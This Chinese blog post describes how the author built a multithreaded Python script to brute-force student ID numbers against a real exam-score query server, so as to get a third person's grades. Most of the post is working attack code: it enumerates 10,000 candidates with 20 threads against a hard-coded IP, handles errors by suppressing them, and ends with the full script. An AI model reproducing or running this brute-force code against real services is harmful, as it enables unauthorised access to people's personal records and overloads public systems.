python 爬取现充Shell的成绩单

以前一直都是照着别人的爬虫进行修改实验,这次自己亲手查请求包看源码完成了一个爬虫。写篇blog纪念一下(

具体需求是@ShellBin想要帮女朋友查成绩,但是他女朋友不记得她自己的学籍号了,查成绩需要身份证号和学籍号,缺一不可,于是,他想要爆破查成绩。

这次使用的是python3和requests包

首先,我们要通过抓包获取请求的格式,我们尝试输入身份证和学籍号,通过chrome的抓包我们可以看到请求头、请求地址和请求正文的格式。

~XHC{J]X8HA]IS8]W4SID@W

T}TL@XJ%A%399S}O[($BROF

当然,因为我们随便发送了一个身份证和学籍号,所以返回的请求是一个输入错误。@PIXQUQE(U`7PID}]@)@X2W

有了请求的头、地址和正文,我们可以尝试拼装出一个请求,尝试使用现充shell本人的信息进行查询。

xjh = '**************'
sfzh = '******************'
params = {'sfzh': sfzh, 'xjh': xjh}
url = 'http://218.26.172.230/2011/Home/Query'         
r = requests.post(url,data = params)

我们收到了一个json格式的数据包,同样,我们使用r.text将数据取出来就可以看到现充的丑恶嘴脸了(

SD%PN9F4646CR601ZXE{DO4

接下来就是如何遍历学籍号了,现充shell告诉我学籍号由两个部分组成,一段前缀和0000-9999的尾数。所以我们需要一个leftpad(不是在黑node.js)

def zeropad(num,lenth):
    dlen = lenth-len(str(num))    
    temps = ''
    for x in range(dlen):
        temps += '0'
    return temps + str(num)

然后我们只需设定好现充shell女友的身份证号后暴力遍历即可,由于数据是json格式,我们需要引入json包。

for x in range(10000):
    xjh = '1401141702'+ zeropad(x,4)
    sfzh = '******************'
    params = {'sfzh': sfzh, 'xjh': xjh}
    url = 'http://218.26.172.230/2011/Home/Query'         
    r = requests.post(url,data = params)    
    jsondata = json.loads(r.text)
    if('error' not in jsondata.keys()):
        print(r.text)

然后。我们发现由于数据量过大,而整个程序的瓶颈在于服务器交互上,所以我决定使用多线程来优化程序。

我们引入threading包和queue包。threading包用于开线程,queue包用于为线程分发任务。

这同时,我们会遇到几个问题:

  1. 在找到正确的学籍号后,我们怎样终止所有的线程?
  2. 如何为线程分发任务使之不冲突?

经过一番查找,我决定使用人为抛出异常来终止线程。

而分发任务上我决定通过queue来进行分发(当然机智的现充shell也想出了一个好办法,将整个0000-9999的数据平均分为20份,直接分配给20个线程)

人为抛出异常的实现

if(flag):
    raise SystemError("i'm just find it")

分发任务的实现

flag=0
task_queue = queue.Queue()
def checkid():
    x = task_queue.get()
    global flag
    if(flag):
        raise SystemError("i'm just find it")

    xjh = '1401141702'+ zeropad(x,4)
    sfzh = '******************'
    params = {'sfzh': sfzh, 'xjh': xjh}
    url = 'http://218.26.172.230/2011/Home/Query'         
    r = requests.post(url,data = params)    
    jsondata = json.loads(r.text)
    if('error' not in jsondata.keys()):
        print(r.text)
        flag=1
    checkid()

这样,我们只要开启多个线程来执行checkid函数即可

for x in range(20):
    sthread = threading.Thread(target=checkid)
    sthread.start()

效率确实得到了明显的提升。查找速度提升了大概五六倍。

但是还有个问题,由于我们抛出了异常并且开了20个线程,最后的异常显示就会把我们的屏幕堆满,不知道最终输出在哪里了。所以我们引入sys包,重定向异常的输出位置。并使用try…catch…来捕获异常,将异常输出关掉。

sys.stderr = None

这样,整个结果就很明朗了,全部代码如下:

import requests
import json
import threading
import queue
import sys

sys.stderr = None
flag=0
task_queue = queue.Queue()

def zeropad(num,lenth):
    dlen = lenth-len(str(num))    
    temps = ''
    for x in range(dlen):
        temps += '0'
    return temps + str(num)

def checkid():
    try:
        x = task_queue.get()
        global flag
        if(flag):
            raise SystemError("i'm just find it")
    
        xjh = '1401141702'+ zeropad(x,4)
        sfzh = '******************'
        params = {'sfzh': sfzh, 'xjh': xjh}
        url = 'http://218.26.172.230/2011/Home/Query'         
        r = requests.post(url,data = params)    
        jsondata = json.loads(r.text)
        if('error' not in jsondata.keys()):
            print(r.text)
            flag=1
        checkid()
    except Queue.Empty:
        pass
        

for x in range(10000):
    task_queue.put(x)
for x in range(20):
    sthread = threading.Thread(target=checkid)
    sthread.start()

参考资料:

手册一般的廖雪峰的python3教程:http://www.liaoxuefeng.com/wiki/0014316089557264a6b348958f449949df42a6d3a2e542c000

requests包发送请求方法:http://www.cnblogs.com/daliangtou/p/5483918.html

判断该key值在json中是否存在的方法:http://www.pythontab.com/html/2012/pythonjichu_1227/67.html

终止线程的方法:http://tieba.baidu.com/p/2321675779

不显示异常信息:http://bbs.csdn.net/topics/70325945

 

《python 爬取现充Shell的成绩单》上有1条评论

发表评论

电子邮件地址不会被公开。

此站点使用Akismet来减少垃圾评论。了解我们如何处理您的评论数据